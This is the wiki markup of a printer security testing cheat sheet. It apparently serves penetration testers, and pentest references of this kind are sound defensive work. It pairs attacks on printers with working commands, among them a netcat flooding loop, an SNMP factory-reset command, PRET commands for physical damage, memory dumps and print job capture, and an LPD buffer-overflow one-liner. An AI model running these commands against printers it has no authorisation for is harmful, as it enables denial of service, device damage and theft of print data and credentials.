View source for Printer Security Testing Cheat Sheet

To systematically check for vulnerabilities in a printing device, first perform a generic network [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html assessment] and check for printer-specifc web based information leaks using [[Praeda]]. Then, use the following cheat sheet to quickly find flaws in [[Fundamentals#Printer Control Languages|printer languages]] and [[Fundamentals#Network printing protocols|network protocols]].

{| class="wikitable"
|-
! Category !! Attack !! Protocol !! Testing
|-
| rowspan="5" | [[Denial of service]]
| [[Transmission channel]]    || TCP || <code>while true; do nc printer 9100; done</code>
|-
| rowspan="2" | [[Document processing]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>disable</code>, <code>hang</code>
|-
| [[PJL]]
|| [[PRET]] commands: <code>disable</code>, <code>offline</code>
|-
| rowspan="2" | [[Physical damage]]
| [[PostScript|PS]]
|| [[PRET]] command: <code>destroy</code>
|-
| [[PJL]]
|| [[PRET]] command: <code>destroy</code>
|-
| rowspan="8" | [[Privilege escalation]]
| rowspan="3" | [[Factory defaults]]
| [[SNMP]]
|| <code>snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6</code>
|-
| [[PML]]
|| [[PRET]] command: <code>reset</code>
|-
| [[PostScript|PS]]
|| [[PRET]] command: <code>reset</code>
|-
| rowspan="4" | [[Accounting bypass]]
| TCP
|| Connect to printer directly, bypassing the print server
|-
| [[IPP]]
|| Check if you can set a username without authentication
|-
| [[PostScript|PS]]
|| Check if PostScript code is preprocessed on print server
|-
| [[PJL]]
|| [[PRET]] command: <code>pagecount</code>
|-
| [[Fax and Scanner]]         || multiple || Install printer driver and (ab)use fax/scan functionality
|-
| rowspan="2" | [[Print job access]]
| [[Print job retention]]     || [[PostScript|PS]] || [[PRET]] command: <code>capture</code>
|-
| [[Print job manipulation]]  || [[PostScript|PS]] || [[PRET]] commands: <code>cross</code>, <code>overlay</code>, <code>replace</code>
|-
| rowspan="5" | [[Information disclosure]]
| [[Memory access]]           || [[PJL]] || [[PRET]] command: <code>nvram dump</code>
|-
| rowspan="2" | [[File system access]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>fuzz</code>, <code>ls</code>, <code>get</code>, <code>put</code>, …
|-
| [[PJL]]
|| [[PRET]] commands: <code>fuzz</code>, <code>ls</code>, <code>get</code>, <code>put</code>, …
|-
| rowspan="2" | [[Credential disclosure]]
| [[PostScript|PS]]
|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>
|-
| [[PJL]]
|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>
|-
| rowspan="4" | [[Code execution]]
| rowspan="2" | [[Buffer overflows]]
| [[PJL]]
|| [[PRET]] command: <code>flood</code>
|-
| [[LPD]]
|| <code>./lpdtest.py printer in "`python -c 'print "x"*3000'`"</code>
|-
| [[Firmware updates]]        || [[PJL]] || Flip a bit, check if the modified firmware is still accepted
|-
| [[Software packages]]       || multiple || Obtain an SDK and write your own proof-of-concept application
|-
|}